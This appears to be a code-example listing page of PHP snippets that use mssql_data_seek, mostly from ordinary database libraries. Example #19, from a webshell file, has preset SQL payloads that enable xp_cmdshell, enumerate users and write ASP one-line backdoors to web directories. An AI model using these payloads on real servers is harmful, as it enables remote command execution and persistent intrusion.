示例#1
0
 public function set_result_pointer($offset = 0)
 {
     if ($this->num_rows()) {
         return mssql_data_seek($this->resource, $offset);
     }
     return false;
 }
示例#2
0
 public function query($sql, $start = null, $perpage = null, $nolimit = false)
 {
     $start and !$perpage and $perpage = 10000;
     $query = mssql_query($sql, $this->dbConnection());
     if ($start) {
         $qcount = mssql_num_rows($query);
         if ($qcount < $start) {
             return array();
         } else {
             mssql_data_seek($query, $start);
         }
     }
     if ($query) {
         $result = array();
         while ($row = mssql_fetch_assoc($query)) {
             if (DBCHARSET == 'gbk' && CHARSET != 'gbk') {
                 $row = Base_Class::gbktoutf($row);
             }
             $result[] = $row;
             if ($perpage && count($result) >= $perpage) {
                 break;
             }
         }
         return $result;
     } else {
         $this->halt("数据库查询错误", $sql);
     }
 }
 /**
  * Seek
  *
  * @param   int offset
  * @return  bool success
  * @throws  rdbms.SQLException
  */
 public function seek($offset)
 {
     if (!mssql_data_seek($this->handle, $offset)) {
         throw new SQLException('Cannot seek to offset ' . $offset);
     }
     return TRUE;
 }
示例#4
0
 function next()
 {
     $this->cur++;
     if ($this->cur > $this->max) {
         return false;
     }
     mssql_data_seek($this->res, $this->cur);
     return mssql_fetch_assoc($this->res);
 }
示例#5
0
 /**
  * Constructor method for the adapter.  This constructor implements the setting of the
  * 3 required properties for the object.
  * 
  * @param resource $d The datasource resource
  */
 function mssqlAdapter($d)
 {
     parent::RecordSetAdapter($d);
     $fieldcount = mssql_num_fields($d);
     // grab the number of fields
     $ob = "";
     $be = $this->isBigEndian;
     $fc = pack('N', $fieldcount);
     if (mssql_num_rows($d) > 0) {
         mssql_data_seek($d, 0);
         while ($line = mssql_fetch_row($d)) {
             // write all of the array elements
             $ob .= "\n" . $fc;
             foreach ($line as $value) {
                 // write all of the array elements
                 if (is_string($value)) {
                     // type as string
                     $os = $this->_directCharsetHandler->transliterate($value);
                     //string flag, string length, and string
                     $len = strlen($os);
                     if ($len < 65536) {
                         $ob .= "" . pack('n', $len) . $os;
                     } else {
                         $ob .= "\f" . pack('N', $len) . $os;
                     }
                 } elseif (is_float($value) || is_int($value)) {
                     // type as double
                     $b = pack('d', $value);
                     // pack the bytes
                     if ($be) {
                         // if we are a big-endian processor
                         $r = strrev($b);
                     } else {
                         // add the bytes to the output
                         $r = $b;
                     }
                     $ob .= "" . $r;
                 } elseif (is_bool($value)) {
                     //type as bool
                     $ob .= "";
                     $ob .= pack('c', $value);
                 } elseif (is_null($value)) {
                     // null
                     $ob .= "";
                 }
             }
         }
     }
     $this->serializedData = $ob;
     for ($i = 0; $i < $fieldcount; $i++) {
         // loop over all of the fields
         $this->columnNames[] = $this->_directCharsetHandler->transliterate(mssql_field_name($d, $i));
     }
     $this->numRows = mssql_num_rows($d);
 }
示例#6
0
 /**
  * Go to a row int the RecordSet.
  *
  * @param int $row Row to go to.
  * @return bool Returns TRUE on success, FALSE if failed.
  */
 function SetRow($row = 0)
 {
     if (!mssql_num_rows($this->result)) {
         return FALSE;
     }
     if (!mssql_data_seek($this->result, $row)) {
         return FALSE;
     }
     $this->row = $row;
     return TRUE;
 }
示例#7
0
 public function query($sql)
 {
     LogMaster::log($sql);
     $res = mssql_query($sql, $this->connection, $this->start_from === false ? 10 : 0);
     if ($this->insert_operation) {
         $last = mssql_fetch_assoc($res);
         $this->last_id = $last["dhx_id"];
         mysql_free_result($res);
     }
     if ($this->start_from !== false) {
         mssql_data_seek($res, $this->start_from);
     }
     return $res;
 }
 /**
  * Constructor method for the adapter.  This constructor implements the setting of the
  * 3 required properties for the object.
  * 
  * @param resource $d The datasource resource
  */
 function mssqlAdapter($d)
 {
     parent::RecordSetAdapter($d);
     $fieldcount = mssql_num_fields($d);
     // grab the number of fields
     for ($i = 0; $i < $fieldcount; $i++) {
         // loop over all of the fields
         $this->columnNames[] = mssql_field_name($d, $i);
     }
     if (mssql_num_rows($d) > 0) {
         mssql_data_seek($d, 0);
         while ($line = mssql_fetch_row($d)) {
             $this->rows[] = $line;
         }
     }
 }
function db_dataseek($qhandle, $row)
{
    if ($row > 0) {
        mssql_data_seek($qhandle, $row);
    }
}
示例#10
0
     p('<td nowrap>' . $tb['name'] . '<br><span>' . $tb['type'] . '(' . $tb['length'] . ') ' . ($tb['colstat'] ? '<b> - PRIMARY</b>' : '') . ($tb['autoval'] ? '<b> - Auto</b>' : '') . '</span></td>');
     $rowdb[$tb['name']]['Key'] = $tb['colstat'];
     $rowdb[$tb['name']]['Auto'] = $tb['autoval'];
     if ($tb['colstat']) {
         $keyfied = $tb['name'];
     }
 }
 p('</tr>');
 //直接浏览表按照主键降序排列
 if (strtolower(substr($query, 0, 13)) == 'select * from') {
     $query .= " order by {$keyfied} DESC";
 }
 $result = msq($query);
 $index = 0;
 if ($pagenum > 0) {
     mssql_data_seek($result, $start_limit);
 }
 while ($mn = @mssql_fetch_assoc($result)) {
     if ($index > $pagenum - 1) {
         break;
     }
     $thisbg = bg();
     p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
     $where = $tmp = $b1 = '';
     //选取条件字段用
     foreach ($mn as $key => $inside) {
         if ($inside) {
             //查找主键、唯一属性、自动增加的字段,找到就停止,否则组合所有字段作为条件。
             if ($rowdb[$key]['Key'] == 1 || $rowdb[$key]['Auto'] == 1) {
                 $where = $key . "='" . addslashes($inside) . "'";
                 break;
 /**
  * Get a number of records as a moodle_recordset using a SQL statement.
  *
  * Since this method is a little less readable, use of it should be restricted to
  * code where it's possible there might be large datasets being returned.  For known
  * small datasets use get_records_sql - it leads to simpler code.
  *
  * The return type is like:
  * @see function get_recordset.
  *
  * @param string $sql the SQL select query to execute.
  * @param array $params array of sql parameters
  * @param int $limitfrom return a subset of records, starting at this point (optional, required if $limitnum is set).
  * @param int $limitnum return a subset comprising this many records (optional, required if $limitfrom is set).
  * @return moodle_recordset instance
  * @throws dml_exception A DML specific exception is thrown for any errors.
  */
 public function get_recordset_sql($sql, array $params = null, $limitfrom = 0, $limitnum = 0)
 {
     list($limitfrom, $limitnum) = $this->normalise_limit_from_num($limitfrom, $limitnum);
     if ($limitfrom or $limitnum) {
         if (!$this->supportsoffsetfetch) {
             if ($limitnum >= 1) {
                 // Only apply TOP clause if we have any limitnum (limitfrom offset is handled later).
                 $fetch = $limitfrom + $limitnum;
                 if (PHP_INT_MAX - $limitnum < $limitfrom) {
                     // Check PHP_INT_MAX overflow.
                     $fetch = PHP_INT_MAX;
                 }
                 $sql = preg_replace('/^([\\s(])*SELECT([\\s]+(DISTINCT|ALL))?(?!\\s*TOP\\s*\\()/i', "\\1SELECT\\2 TOP {$fetch}", $sql);
             }
         } else {
             $sql = substr($sql, -1) === ';' ? substr($sql, 0, -1) : $sql;
             // We need order by to use FETCH/OFFSET.
             // Ordering by first column shouldn't break anything if there was no order in the first place.
             if (!strpos(strtoupper($sql), "ORDER BY")) {
                 $sql .= " ORDER BY 1";
             }
             $sql .= " OFFSET " . $limitfrom . " ROWS ";
             if ($limitnum > 0) {
                 $sql .= " FETCH NEXT " . $limitnum . " ROWS ONLY";
             }
         }
     }
     list($sql, $params, $type) = $this->fix_sql_params($sql, $params);
     $rawsql = $this->emulate_bound_params($sql, $params);
     $this->query_start($sql, $params, SQL_QUERY_SELECT);
     $result = mssql_query($rawsql, $this->mssql);
     $this->query_end($result);
     if ($limitfrom && !$this->supportsoffsetfetch) {
         // Skip $limitfrom records.
         if (!@mssql_data_seek($result, $limitfrom)) {
             // Nothing, most probably seek past the end.
             mssql_free_result($result);
             $result = null;
         }
     }
     return $this->create_recordset($result);
 }
示例#12
0
 /**
  * Fetch a row and insert the data into an existing array.
  *
  * Formating of the array and the data therein are configurable.
  * See DB_result::fetchInto() for more information.
  *
  * @param resource $result    query result identifier
  * @param array    $arr       (reference) array where data from the row
  *                            should be placed
  * @param int      $fetchmode how the resulting array should be indexed
  * @param int      $rownum    the row number to fetch
  *
  * @return mixed DB_OK on success, null when end of result set is
  *               reached or on failure
  *
  * @see DB_result::fetchInto()
  * @access private
  */
 function fetchInto($result, &$arr, $fetchmode, $rownum = null)
 {
     if ($rownum !== null) {
         if (!@mssql_data_seek($result, $rownum)) {
             return null;
         }
     }
     if ($fetchmode & DB_FETCHMODE_ASSOC) {
         $arr = @mssql_fetch_array($result, MSSQL_ASSOC);
         if ($this->options['portability'] & DB_PORTABILITY_LOWERCASE && $arr) {
             $arr = array_change_key_case($arr, CASE_LOWER);
         }
     } else {
         $arr = @mssql_fetch_row($result);
     }
     if (!$arr) {
         /* This throws informative error messages,
               don't use it for now
            if ($msg = @mssql_get_last_message()) {
                return $this->raiseError($msg);
            }
            */
         return null;
     }
     if ($this->options['portability'] & DB_PORTABILITY_RTRIM) {
         $this->_rtrimArrayValues($arr);
     }
     if ($this->options['portability'] & DB_PORTABILITY_NULL_TO_EMPTY) {
         $this->_convertNullArrayValuesToEmpty($arr);
     }
     return DB_OK;
 }
示例#13
0
 function limit($query, $offset, $pagesize = 0)
 {
     if ($pagesize > 0) {
         mssql_data_seek($query, $offset);
     } else {
         $pagesize = $offset;
     }
     $info = array();
     for ($i = 0; $i < $pagesize; $i++) {
         $r = $this->fetch_array($query);
         if (!$r) {
             break;
         }
         $info[] = $r;
     }
     $this->free_result($query);
     $this->cursor = 0;
     return $info;
 }
示例#14
0
 function _seek($row)
 {
     return @mssql_data_seek($this->_queryID, $row);
 }
 /**
  * @see ResultSet::seek()
  */
 function seek($rownum)
 {
     // support emulated OFFSET
     $actual = $rownum + $this->offset;
     if ($this->limit > 0 && $rownum >= $this->limit || $rownum < 0) {
         // have to check for rownum < 0, because mssql_seek() won't
         // complain if the $actual is valid.
         return false;
     }
     // MSSQL rows start w/ 0, but this works, because we are
     // looking to move the position _before_ the next desired position
     if (!@mssql_data_seek($this->result, $actual)) {
         return false;
     }
     $this->cursorPos = $rownum;
     return true;
 }
示例#16
0
 /**
  * Places a row from the result set into the given array
  *
  * Formating of the array and the data therein are configurable.
  * See DB_result::fetchInto() for more information.
  *
  * This method is not meant to be called directly.  Use
  * DB_result::fetchInto() instead.  It can't be declared "protected"
  * because DB_result is a separate object.
  *
  * @param resource $result    the query result resource
  * @param array    $arr       the referenced array to put the data in
  * @param int      $fetchmode how the resulting array should be indexed
  * @param int      $rownum    the row number to fetch (0 = first row)
  *
  * @return mixed  DB_OK on success, NULL when the end of a result set is
  *                 reached or on failure
  *
  * @see DB_result::fetchInto()
  */
 function fetchInto($result, &$arr, $fetchmode, $rownum = null)
 {
     if ($rownum !== null) {
         if (!@mssql_data_seek($result, $rownum)) {
             return null;
         }
     }
     if ($fetchmode & DB_FETCHMODE_ASSOC) {
         $arr = @mssql_fetch_assoc($result);
         if ($this->options['portability'] & DB_PORTABILITY_LOWERCASE && $arr) {
             $arr = array_change_key_case($arr, CASE_LOWER);
         }
     } else {
         $arr = @mssql_fetch_row($result);
     }
     if (!$arr) {
         return null;
     }
     if ($this->options['portability'] & DB_PORTABILITY_RTRIM) {
         $this->_rtrimArrayValues($arr);
     }
     if ($this->options['portability'] & DB_PORTABILITY_NULL_TO_EMPTY) {
         $this->_convertNullArrayValuesToEmpty($arr);
     }
     return DB_OK;
 }
    /**
     * Get a number of records as a moodle_recordset using a SQL statement.
     *
     * Since this method is a little less readable, use of it should be restricted to
     * code where it's possible there might be large datasets being returned.  For known
     * small datasets use get_records_sql - it leads to simpler code.
     *
     * The return type is as for @see function get_recordset.
     *
     * @param string $sql the SQL select query to execute.
     * @param array $params array of sql parameters
     * @param int $limitfrom return a subset of records, starting at this point (optional, required if $limitnum is set).
     * @param int $limitnum return a subset comprising this many records (optional, required if $limitfrom is set).
     * @return moodle_recordset instance
     * @throws dml_exception if error
     */
    public function get_recordset_sql($sql, array $params=null, $limitfrom=0, $limitnum=0) {
        $limitfrom = (int)$limitfrom;
        $limitnum  = (int)$limitnum;
        $limitfrom = ($limitfrom < 0) ? 0 : $limitfrom;
        $limitnum  = ($limitnum < 0)  ? 0 : $limitnum;
        if ($limitfrom or $limitnum) {
            if ($limitnum >= 1) { // Only apply TOP clause if we have any limitnum (limitfrom offset is handled later)
                $fetch = $limitfrom + $limitnum;
                $sql = preg_replace('/^([\s(])*SELECT([\s]+(DISTINCT|ALL))?(?!\s*TOP\s*\()/i',
                                    "\\1SELECT\\2 TOP $fetch", $sql);
            }
        }

        list($sql, $params, $type) = $this->fix_sql_params($sql, $params);
        $rawsql = $this->emulate_bound_params($sql, $params);

        $this->query_start($sql, $params, SQL_QUERY_SELECT);
        $result = mssql_query($rawsql, $this->mssql);
        $this->query_end($result);

        if ($limitfrom) { // Skip $limitfrom records
            mssql_data_seek($result, $limitfrom);
        }

        return $this->create_recordset($result);
    }
示例#18
0
 public function to_array()
 {
     mssql_data_seek($this->result, 0);
     return mssql_fetch_array($this->result, MSSQL_NUM);
 }
示例#19
0
文件: silic.php 项目: evil7/webshell
function otherdb()
{
    $db = isset($_GET['db']) ? $_GET['db'] : 'ms';
    print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?s=gg&db=ms"> &nbsp MSSQL &nbsp</a>
<a href="?s=gg&db=ora"> &nbsp Oracle &nbsp</a>
<a href="?s=gg&db=ifx"> &nbsp InforMix &nbsp</a>
<a href="?s=gg&db=fb"> &nbsp  FireBird &nbsp</a>
<a href="?s=gg&db=db2">&nbsp DB2 &nbsp</a></div></form>
END;
    if ($db == "ms") {
        $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
        $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
        $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
        $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
        $msaction = isset($_POST['action']) ? $_POST['action'] : '';
        $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
        $msquery = stripslashes($msquery);
        print <<<END
<div class="actall">
<form method="POST" name="msform" action="?s=gg&db=ms">
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
\tStr[0] = "";
\tStr[1] = "select @@version;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select name from sysobject where type='U';";
\tStr[4] = "select name from syscolumns where id=Object_Id('table_name');";
\tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
\tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
\tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
\tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';";
\tStr[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
\tmsform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
\t<option value="5">sp_oacreate</option>
\t<option value="6">xp_cmdshell</option>
\t<option value="7">xp_cmdshell(2005)</option>
\t<option value="8">sp_oacreate(2005)</option>
\t<option value="9">����openrowset(2005)</option>
\t<option value="10">xp_cmdshell exec</option>
\t<option value="10">sp_oamethod exec</option>
\t<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></form></div>
END;
        if ($msaction == 'msquery') {
            $msconn = mssql_connect($mshost, $msuser, $mspass);
            mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
            $msresult = mssql_query($msquery) or die(mssql_get_last_message());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            mssql_data_seek($result, 0);
            while ($msrow = mssql_fetch_row($msresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                    echo '<td>' . "{$msrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            mssql_free_result($msresult);
            mssql_close();
        }
    } elseif ($db == "ora") {
        $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
        $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
        $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
        $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
        $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
        $oraaction = isset($_POST['action']) ? $_POST['action'] : '';
        $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
        $oraquery = stripslashes($oraquery);
        print <<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
<script language="javascript">
function oraFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select version();";
\tStr[2] = "SELECT NAME FROM V{$DATABASE}";
\tStr[3] = "select * From all_objects where object_type='TABLE'";
\tStr[4] = "select column_name from user_tab_columns where table_name='table1'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($oraaction == 'oraquery') {
            $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
            $oraresult = ociparse($oralink, $oraquery) or die(ocierror());
            $orarow = oci_fetch_row($oraresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
                echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ociresult($oraresult, 0);
            while ($orarow = ora_fetch_row($oraresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ora_num_fields($result); $i++) {
                    echo '<td>' . "{$orarow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            oci_free_statement($oraresult);
            ocilogoff();
        }
    } elseif ($db == "ifx") {
        $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
        $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
        $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
        $ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
        $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
        $ifxquery = stripslashes($ifxquery);
        print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td>' . "{$ifxrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">���ݿ�����</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($myaction == 'db2query') {
            $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
            $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
            $db2row = db2_fetch_row($db2result);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n";
            }
            echo "</tr>\n";
            while ($db2row = db2_fetch_row($db2result)) {
                echo "<tr>\n";
                for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                    echo '<td>' . "{$db2row[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            db2_free_result($db2result);
            db2_close();
        }
    } elseif ($db == "fb") {
        $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
        $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
        $fbpath = str_replace("\\\\", "\\", $fbpath);
        $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
        $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
        $fbaction = isset($_POST['action']) ? $_POST['action'] : '';
        $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
        $fbquery = stripslashes($fbquery);
        print <<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
\tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
\tStr[3] = "input 'D:\\createtable.sql';";
\tStr[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">����sql</option>
\t<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($fbaction == 'fbquery') {
            $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
            $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ibase_field_info($fbresult, 0);
            while ($fbrow = ibase_fetch_row($fbresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                    echo '<td>' . "{$fbrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ibase_free_result($fbresult);
            ibase_close();
        }
    }
}
 /**
  * Get a number of records as a moodle_recordset using a SQL statement.
  *
  * Since this method is a little less readable, use of it should be restricted to
  * code where it's possible there might be large datasets being returned.  For known
  * small datasets use get_records_sql - it leads to simpler code.
  *
  * The return type is like:
  * @see function get_recordset.
  *
  * @param string $sql the SQL select query to execute.
  * @param array $params array of sql parameters
  * @param int $limitfrom return a subset of records, starting at this point (optional, required if $limitnum is set).
  * @param int $limitnum return a subset comprising this many records (optional, required if $limitfrom is set).
  * @return moodle_recordset instance
  * @throws dml_exception A DML specific exception is thrown for any errors.
  */
 public function get_recordset_sql($sql, array $params = null, $limitfrom = 0, $limitnum = 0)
 {
     list($limitfrom, $limitnum) = $this->normalise_limit_from_num($limitfrom, $limitnum);
     if ($limitfrom or $limitnum) {
         if ($limitnum >= 1) {
             // Only apply TOP clause if we have any limitnum (limitfrom offset is handled later)
             $fetch = $limitfrom + $limitnum;
             if (PHP_INT_MAX - $limitnum < $limitfrom) {
                 // Check PHP_INT_MAX overflow
                 $fetch = PHP_INT_MAX;
             }
             $sql = preg_replace('/^([\\s(])*SELECT([\\s]+(DISTINCT|ALL))?(?!\\s*TOP\\s*\\()/i', "\\1SELECT\\2 TOP {$fetch}", $sql);
         }
     }
     list($sql, $params, $type) = $this->fix_sql_params($sql, $params);
     $rawsql = $this->emulate_bound_params($sql, $params);
     $this->query_start($sql, $params, SQL_QUERY_SELECT);
     $result = mssql_query($rawsql, $this->mssql);
     $this->query_end($result);
     if ($limitfrom) {
         // Skip $limitfrom records
         if (!@mssql_data_seek($result, $limitfrom)) {
             // Nothing, most probably seek past the end.
             mssql_free_result($result);
             $result = null;
         }
     }
     return $this->create_recordset($result);
 }
示例#21
0
 /**
  * Data Seek
  *
  * Moves the internal pointer to the desired offset. We call
  * this internally before fetching results to make sure the
  * result set starts at zero
  *
  * @return	bool
  */
 protected function _data_seek($n = 0)
 {
     return mssql_data_seek($this->result_id, $n);
 }
示例#22
0
文件: mssql.php 项目: joeymetal/v1
 function fetchInto($result, &$ar, $fetchmode, $rownum = null)
 {
     if ($rownum !== null) {
         if (!@mssql_data_seek($result, $rownum)) {
             return null;
         }
     }
     if ($fetchmode & DB_FETCHMODE_ASSOC) {
         $ar = @mssql_fetch_array($result);
     } else {
         $ar = @mssql_fetch_row($result);
     }
     if (!$ar) {
         if ($msg = mssql_get_last_message()) {
             return $this->raiseError($msg);
         } else {
             return null;
         }
     }
